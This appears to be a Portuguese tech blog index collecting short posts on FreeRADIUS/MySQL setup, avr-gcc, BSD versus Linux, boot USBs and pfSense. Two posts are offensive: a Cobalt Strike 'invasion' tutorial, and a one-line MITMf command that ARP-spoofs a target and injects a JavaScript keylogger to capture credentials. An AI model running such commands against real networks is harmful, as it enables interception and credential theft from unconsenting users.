Algebra com BITs

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Olá pessoal!

Nesse novo artigo usaremos matemática com BITS, operadores lógicos e outros conceitos interessantes para manipular números inteiros.

FreeRadius Advanced Using Mysql for Mikrotik: PPPOE server + mysql ippool, login user, nas, configuration radius , control user simultaneous, Control user Mac Address and Queue in MK.

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Fala pessoal, segunda parte do vídeo, e aqui vamos dar sequência as configurações avançadas do Freeradius.

Parte 1 Configurando Servidor Freeradius + Mysql para pppoe no Mikrotik

Neste vídeo, vamos trabalhar de forma diferente do primeiro, aliás, é interessante que você tenha visto o primeiro para que possamos entender as mudanças nas configurações em relação a ele.

Então, vejam o vídeo, no mais alguns dos comandos usados estão disponíveis logo a baixo e eu estou atualizando esse post (infelizmente estou com um problema no nervo do braço esquerdo e quase não estou conseguindo digitar, então irei atualizando calmamente isso. OK?)

 

 

 

 

Os comandos usados neste vídeo foram:

root@mysql /# mysql -uroot -pThiago123
mysql> create database radius;

mysql> grant all privileges on radius.* to radius@localhost identified by 'Thiago123'

mysql> \q
Bye

Importando as databases, ou scripts que já vem preconfigurados com o freeradius:


root@mysql /# mysql -uroot -pThiago123 radius < /etc/freeradius/sql/mysql/schema.sql
root@mysql /# mysql -uroot -pThiago123 radius < /etc/freeradius/sql/mysql/nas.sql
root@mysql /# mysql -uroot -pThiago123 radius < /etc/freeradius/sql/mysql/ippool.sql  

 



Alterar o radusergroup:

 

Alimentar as Tabelas :



 

Interagindo com “Você”

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Boas Users!

Bom primeiramente, queria falar que ficamos afastado por mais de um mês, por motivos pessoais, mas que estamos de volta e com bastante novidades.

Analisando o avr-gcc

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http://savannah.nongnu.org/
http://savannah.nongnu.org/

Olá pessoal hoje, juntos, iremos estudar um pouco mais sobre o avr-gcc.

Um dos motivos de minha pessoa gostar da marca atmel se chama avr-gcc. Não é difícil de virar fã quando algum hardware ou linguagem é suportado pela GNU Compiler Collection.

É fácil encontrar IDEs que contem o mesmo, como o codeblocks:

S2 codeblocks
S2 codeblocks

Pois é pessoal, uma IDE prontinha para ser usada para programar AVR, grátis, open e linda.

Porem iremos dar uma olhada mais de perto.Porem infelizmente contemplando só os argumentos principais pois um artigo mais detalhado seria inviável pois o manual do GCC possui mais de 20000 linhas!

No Linux é fácil ter acesso ao manual do GCC:

man gcc

O interessante é que o que vos fala perdeu um tempo considerável procurando pelo manual do avr-gcc porem esta tudo incluído no manual do GCC.

No meu primeiro artigo utilizamos o seguinte comando para compilar o código fonte em C:

avr-gcc -Os -mmcu=atmega328p blink.c -o blink.out

O “avr-gcc” o herói da historia é o programa que ira ler nosso fonte e traduzi-lo para um arquivo objeto.

A flag “-Os” significa “optimization for size”, força o compilador a reduzir o máximo o tamanho do código gerado bem como deixa-lo mais rápido.
A flag é importante para a compilação de programas que usam a biblioteca delay.h pois sem a flag as funções contidas na lib irão apresentar comportamento errático então deixe a flag como está e se esquecer da mesma e tiver usando a delay.h ira receber a seguinte saida:

# warning "Compiler optimizations disabled; functions from won't work as designed"

Outras opções de otimização bem como a descrição das mesmas estão aqui Optimize-Options

avr-gcc -Os -mmcu=atmega328p blink.c -o blink.out

A terceira flag “-mmcu” está no manual como um item de uma lista chamada AVR Options.

AVR Options:
-mmcu=mcu
-maccumulate-args
-mbranch-cost=cost
-mcall-prologues
-mint8
-mn_flash=size
-mno-interrupts
-mrelax
-mrmw
-mstrict-X
-mtiny-stack
-nodevicelib
-Waddr-space-convert

-mmcu=mcu

Nessa opção iremos especificar qual microcontrolador iremos utilizar. Nessa caso o ATMEGA328p que equipa os arduinos UNO r3. mas podemos ter outros exemplos como:

avr-gcc -Os -mmcu=attiny85 blink.c -o blink.out
avr-gcc -Os -mmcu=atmega2560 blink.c -o blink.out

Para a lista completa dos dispositivos suportados: avr-lib:manual do usuário

As outras opções são para um uso mais avançado e especifico portanto deixaremos as mesmas para uma próxima abordagem.

-o file : O avr-gcc salvara sua saída em um arquivo file que o usuário especificar. No nosso caso o blink.out. Se nada for especificado a saída será salva automaticamente em um arquivo de nome “a.out”.

-v : Printa no terminal os comandos e erros durante o processo do avr-gcc.

Bom e para concluir minha experiência: O GCC é enorme, poderoso e complexo, não tendo como simplificar os seus atributos em um único artigo. Então iremos seguir em frente, sempre explorando o que podemos daqui para frente.

Obrigado pessoal

Fontes:
http://www.atmel.com/webdoc/AVRLibcReferenceManual/using_tools_1using_avr_gcc_mach_opt.html
https://gcc.gnu.org/
http://www.nongnu.org/avr-libc/

Diferença entre Linux e BSD

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4. Comparando BSD e Linux

Então qual é realmente a diferença entre, digamos, o Debian Linux e o FreeBSD? Pra maioria dos usuários, as diferenças são surpreendentemente pequenas: Ambos são sistemas operacionais UNIX® like. Ambos são desenvolvidos por projetos não comerciais (é claro que isso não se aplica a muitas outras distribuições Linux). Na próxima seção, vamos dar uma olhada no BSD e compará-lo com o Linux. As descrições se aplicam mais ao FreeBSD, que somatiza uma média estimada de 80% das instalações de sistemas BSD, mas as diferenças pro NetBSD, pro OpenBSD e pro DragonFlyBSD são pequenas.

4.1. Quem é dono do BSD?

Nenhuma pessoa ou corporação é dona do BSD. Ele é criado e distribuído por uma comunidade de contribuidores altamente técnicos em todo o mundo. Alguns dos componentes do BSD são projetos Open Source independentes e gerenciados por mantenedores de projetos distintos.

4.2. Como o BSD é desenvolvido e atualizado?

Os kernels do BSD são desenvolvidos e mantidos seguindo o modelo de desenvolvimento do Open Source. Cada projeto mantém uma árvore de código fonte publicamente acessível sob o Sistema de Versões Concorrentes (CVS), que contém todos os arquivos fontes do projeto, incluindo documentação e outros arquivos acidentais. O CVS permite que usuários façamcheck out (em outras palavras, extrair uma cópia) de qualquer versão desejada do sistema.

Um grande número de desenvolvedores ao redor do mundo contribui para as melhorias do BSD. Eles são divididos em 3 tipos:

  • Contribuidores escrevem código e documentação. Eles não têm permissão de commit (adicionar código) diretamente na árvore de código fonte. Para que seu código seja incluso no sistema, é necessário que seja revisado e aprovado por um desenvolvedor registrado, os quais são conhecidos como committer.
  • Committers são desenvolvedores com acesso de escrita na árvore do código fonte. Para se tornar um commiter, o indivíduo deve mostrar habilidade na área em que ele é ativo.

    Faz parte da responsabilidade individual de cada desenvolvedor considerar quando devem obter autorização antes de fazer um commit na árvore. No geral, desenvolvedores experientes podem fazer modificações que são obviamente corretas sem precisar de consenso. Por exemplo, um commiter do projeto de documentação pode corrigir erros tipográficos ou gramaticais sem a necessidade de uma revisão. Por outro lado, espera-se que desenvolvedores que fazem alterações muito abrangentes ou complicadas enviem suas mudanças para revisão antes de adicioná-las. Em casos extremos, um membro do Grupo Central (Core Team) cuja função seja, o Arquiteto Principal pode ordenar que as modificações sejam retiradas da árvore do código fonte, em um processo conhecido como backing out. Todos os desenvolvedores recebem mensagens de correio eletrônico sobre cada alteração individual, portanto é impossível fazer alguma modificação secretamente.

  • O Grupo Central. O FreeBSD e o NetBSD cada qual, tem um grupo central que gerencia o projeto. Tais grupos centrais foram criados no decorrer dos projetos e seu papel não é sempre bem definido. Não é preciso ser um desenvolvedor para se tornar membro do grupo central, apesar de que, normalmente esse é o caso. As regras para o grupo central variam de um projeto para o outro, mas no geral eles têm mais voz na hora de dizer as direções que o projeto deve seguir, do que outros membros fora do grupo.

Esse modelo se diferencia do Linux em inúmeras maneiras:

  1. Não existe uma pessoa em especial que controla o conteúdo do sistema. Na prática, essa diferença é sobretaxada, considerando que o Arquiteto Principal pode solicitar que códigos sejam retirados do sistema, e que até mesmo o projeto Linux tem várias pessoas autorizadas a fazer modificações.
  2. Por outro lado, existe um repositório central, um lugar único onde os fontes inteiros do sistema operacional podem ser encontrados, incluindo todas as versões anteriores.
  3. Os projetos BSD mantém um Sistema Operacional completo, não apenas o kernel. Essa distinção é marginalmente proveitosa: nem o BSD nem o Linux são úteis sem aplicações. As aplicações usadas sob BSD são frequentemente as mesmas aplicações usadas sob Linux.
  4. Como resultado da manutenção formalizada de uma única árvore CVS do código fonte, o desenvolvimento do BSD é limpo, e é possível acessar qualquer versão do sistema por seu número de lançamento (release) ou por data. O CVS ainda oferece manutenção incremental ao sistema: por exemplo, o repositório do FreeBSD é atualizado em média 100 vezes por dia. A maioria dessas alterações é de pequena ordem.

4.3. Releases BSD

O FreeBSD, o NetBSD e o OpenBSD oferecem o sistema em três versões (releases) diferentes. Como no Linux, os releases são identificados por um número, como 1.4.1 ou 3.5. Em adição, o número da versão tem um sufixo, indicando seu propósito:

  1. A versão de desenvolvimento do sistema é chamada de CURRENT. O FreeBSD relaciona um número ao CURRENT, por exemplo, FreeBSD 5.0-CURRENT. O NetBSD usa um esquema de denominação um pouco diferente, adicionando um sufixo com uma letra única que indica modificações nas interfaces internas, por exemplo NetBSD 1.4.3G. O OpenBSD não adiciona números (OpenBSD-current). Todo novo desenvolvimento no sistema vai nesse branch.
  2. Em intervalos regulares, entre duas a quatro vezes por ano, os projetos lançam uma nova versão de RELEASE do sistema, que é disponibilizado em CD-ROM e por download gratuíto em sítios de FTP, por exemplo OpenBSD 2.6-RELEASE ou NetBSD 1.4-RELEASE. A versão do RELEASE é destinada a usuários finais e é a versão normal do sistema. O NetBSD oferece ainda patch releases (releases de correções) com um terceiro dígito, por exemplo, NetBSD 1.4.2.
  3. Conforme os problemas são encontrados em uma versão RELEASE, eles são corrigidos, e as correções são adicionadas à árvore CVS. No FreeBSD a versão resultante é chamada de STABLE, enquanto que no NetBSD e no OpenBSD elas continuam sendo chamadas de versão RELEASE. Novas características menores também podem ser adicionadas nesse branch depois do período de testes no CURRENT.

Em contraste, o Linux mantém duas árvores de código separadas: a versão estável e a versão de desenvolvimento. A versão estável tem ainda um número menor de versão, como 2.0, 2.2 ou 2.4. Versões em desenvolvimento tem o número menor ímpar, como 2.1, 2.4 e 2.5. Em cada caso, a versão é ainda seguida de um número posterior designando o release exato. Em adição, cada vendedor de Linux coloca suas próprias aplicações e utilitários à nível de usuário, portanto o nome de sua distribuição também é importante. Cada distribuição do vendedor ainda é acrescida de seu próprio número, então a descrição completa seria algo parecido com TurboLinux 6.0 com kernel 2.2.14

4.4. Quais são as versões disponíveis do BSD?

Em contraste com as numerosas distribuições Linux, existem apenas quatro BSDs de código livre. Cada projeto BSD mantém sua própria árvore de código fonte e seu próprio kernel. Na prática, as divergências entre o código à nível de usuário parece ser ainda menor entre os projetos BSD do que entre os vários Linux.

É difícil categorizar os objetivos de cada projeto: as diferenças são bastante subjetivas. Basicamente,

  • O FreeBSD clama por alta performance e facilidade de uso para usuários finais, e é o favorito de provedores de conteúdo da rede mundial de computadores. Ele pode ser usado em um grande número de plataformas, incluindo sistemas baseados em i386™ (PCs), sistemas baseados em processadores AMD 64-bit, sistemas baseados emUltraSPARC®, sistemas baseados em processadores Compaq Alpha e sistemas baseados em torno da especificação NEC PC-98. O projeto FreeBSD possui significativamente mais usuários do que os outros projetos.
  • O NetBSD clama pelo máximo de portabilidade: é lógico que roda NetBSD. Ele roda de máquinas palmtop à grandes servidores, e vem sendo usado até em missões espaciais da NASA. É particularmente uma boa escolha para rodar em equipamentos antigos que não sejam Intel®.
  • O OpenBSD clama por segurança e pureza de código: ele usa uma combinação dos conceitos de código livre com rigorosas revisões de seu código para criar um sistema demonstravelmente correto, tornando-o a escolha de organizações conscientes com a segurança como bancos e departamentos do governo. Como o NetBSD, ele roda em várias plataformas.
  • O DragonFlyBSD clama por alta performance e escalabilidade acima de tudo, não importa se estamos falando de um sistema composto por um único nó ou um sistema massivamente clusterizado. O DragonFlyBSD tem muitos objetivos técnicos de longo prazo, mas o seu foco concentra-se em prover uma infra estrutura de SMP (multiprocessamento simétrico) que seja fácil de entender, manter e desenvolver.

Existem ainda dois sistemas operacionais BSD UNIX® adicionais que não são de código livre, o BSD/OS e o Mac OS® X da Apple:

  • O BSD/OS era o mais velho dos derivados do 4.4BSD. Ele não era de código livre, embora as licenças de seu código fonte estivessem disponíveis por um preço relativamente baixo. Ele assemelhava-se ao FreeBSD de diversas formas. Dois anos depois da aquisição da BSDI pela Wind River Systems, o BSD/OS falhou em sobreviver como um produto independente. O suporte e o código fonte podem ainda estar disponíveis pela Wind River, mas os novos desenvolvimentos estão todos focados no sistema operacional embarcado VxWorks.
  • O Mac OS® X é a mais recente versão do sistema operacional da linha Macintosh® da Apple Computers Inc. O core BSD deste sistema operacional, o Darwin, está disponível como um sistema operacional completamente funcional para computadores x86 e PPC. Contudo, o sistema gráfico Aqua/Quartz e muitos outros aspectos proprietários do Mac OS® X continuam como código fechado. Vários desenvolvedores do Darwin também são desenvolvedores do FreeBSD e vice versa.

4.5. Como a licença BSD se diferencia da licença Pública GNU?

O Linux está disponível sob a Licença Pública Geral GPL (GPL), que foi planejada para eliminar o software proprietário (de fonte fechada). Em particular, qualquer trabalho derivado de um produto lançado sob a GPL também deve oferecer seu código fonte, caso seja requerido. Em contraste, a licença BSD é menos restritiva: distribuições apenas binárias são permitidas. Isso é particularmente atrativo para aplicações acopladas (embedded).

4.6. O que mais eu deveria saber?

Considerando que um número menor de aplicações está disponível para o BSD do que para o Linux, os desenvolvedores do BSD criaram um pacote de compatibilidade Linux, que permite que programas Linux sejam executados sob BSD. O pacote inclui modificações no kernel, de forma a possibilitar as corretas chamadas de sistemas Linux, e arquivos de compatibilidade Linux, como a biblioteca C. Não existe diferença notável na velocidade de execução entre aplicações Linux rodando em uma máquina Linux e aplicações Linux rodando em uma máquina BSD de mesma velocidade.

A natureza tudo do mesmo fornecedor dos sistemas BSD implica na maior facilidade de atualização do que frequentemente acontece no caso do Linux. Os BSD oferecem atualizações de versões de bibliotecas oferecendo módulos de compatibilidade com versões mais antigas de bibliotecas, dessa forma é possível rodar binários que existem há vários anos sem o menor problema.

4.7. Qual eu devo usar, BSD ou Linux?

O que isso tudo significa na prática? Quem deve usar BSD? Quem deve usar Linux?

Essa é uma pergunta muito difícil para se responder. Aqui estão algumas considerações:

  • Se não está quebrado, não conserte: Se você já usa algum sistema operacional de código livre, e está feliz com ele, provavelmente não existe uma boa razão para mudar.
  • Sistemas BSD, em particular o FreeBSD, podem ter performance notavelmente superior ao Linux. Mas isso não é uma regra. Em muitos casos a diferença pode ser pouca ou até mesmo nem existir. Em alguns casos o Linux pode funcionar melhor que o FreeBSD.
  • No geral, sistemas BSD tem melhor reputação por sua confiabilidade, principalmente por ser resultado de uma base de códigos mais madura.
  • Os projetos BSD têm uma melhor reputação em relação a qualidade e abrangência da sua documentação. Os vários projetos de documentação têm por objetivo prover ativamente documentos atualizados, em muitos idiomas e cobrindo todos os aspectos do sistema.
  • A licença BSD pode ser mais atrativa do que a GPL.
  • O BSD pode executar a maioria dos binários do Linux, enquanto o Linux não pode executar binários do BSD. Muitas das implementações; BSD podem inclusive executar binários de outros sistemas derivados do UNIX®. Como resultado, o BSD pode ser uma opção de migração a partir de outros sistemas mais fácil do que o Linux seria.
  • Fonte original https://www.freebsd.org/doc/pt_BR/articles/explaining-bsd/comparing-bsd-and-linux.html

Invadindo com CobaltStrike ( kali Linux )

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Boas Users!

Hoje irei mostrar como acessar um computador “windows” com o CobaltStrike

“Todas as informações aqui devem ser usadas para fins educacionais e que a invasão de dispositivos não autorizado é crime”

Comandos utilizados:

$ cd

cd= Navegar entre os diretórios

$ sudo ./teamserver 127.0.0.1 123456

sudo= Permissão de super usuário

./teamserver= Iniciando servidor do cobalt strike

127.0.0.1= IP LoopBack

123456= Senha

$ sudo ./cobaltstrike

./cobaltstrike= Iniciando o cobaltstrike

 

Fonte:

https://www.cobaltstrike.com/features

Softwares usados:

CobaltStrike

Toycon

Resource Hacker

 

By user777

Criando Pendrive de Boot Linux no Windows

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Boas Users!

Criaremos um pendrive de boot do linux, no windows.

1- Faça o download do programa yumi, e execute-o

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2- clique em I Agree

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3- Selecione o pendrive, marque a opção “we will Fat32 Format D: Drive!“, clique em  “Browse” a ISO do Linux e clique em Create.

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4- após o termino, clique em Next >

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5- A seguir, o YUMI pergunta se quer adicionar outra ISO ao pendrive, se clicar em sim, fazer o mesmos processos anteriores, no nosso caso, clicaremos em não

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6- e por último, clicamos em Finish, está pronto seu pendrive de boot do linux

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By user777

MITMF Kali Linux

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Boas users!

MITMF, capturando o tráfego e credenciais!

Comandos:

# mitmf --spoof --arp -I eth0 --gateway (IP do gateway da rede) --target  (IP da máquina alvo) --jskeylogger

By user777

 

 

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Usando rede wifi com Beagle Bone Green.

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Olá pessoal, meu nome é Filipe e hoje venho mostrar como utilizar rede wifi na BBG classica que no caso vem sem adaptador wireless.

Bloqueio de sites com Pfsense squid/squidguard

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Boas Users!

Nesse vídeo mostro como fazer Bloqueio de sites com o squid e squidguard.

 

Link da BlackList: Download